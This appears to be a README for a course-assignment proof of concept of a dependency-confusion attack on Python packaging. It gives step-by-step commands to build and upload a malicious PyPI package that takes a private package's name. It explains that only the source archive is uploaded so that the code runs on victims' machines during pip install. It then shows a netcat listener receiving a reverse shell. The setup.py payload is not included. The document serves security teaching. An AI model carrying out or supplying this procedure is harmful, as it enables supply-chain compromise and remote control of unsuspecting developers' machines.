It's important to be aware that packages installation via pip install command have the ability to execute python code as part of the install process. For CMPT785 course assignment2 poc usage - requirements.txt has --extra-index-url to point to private registry but pip install will check Pypi first. By uploading malicious package with the same name in Pypi, program will download the malicious version and pip install can give a reverse shell to the attacker.

1. Install the package build process dependencies

​ python -m pip install --user --upgrade setuptools wheel twine

2. cd to the directory of setup.py, use this command to build the package

​ python setup.py sdist bdist_wheel

3. After build, remember either remove the .whl file from /dist folder or during the upload process, only upload the .tar.xz one. The reason is that we want victims' to build the package themselves in order to get the malicious code execute on victims' machine.

​ twine upload dist/*.tar.xz

4. It will prompt you to enter your username and password in Pypi.org

Two terminal windows. (If two machines, change the code in setup.py)

Attacker: Listen on 1234 port with netcatnc -lvp 1234

Victim: Execute pip install commandpip install much_needed_py_package

We can see in attacker's window, a reverse shell is estatblished.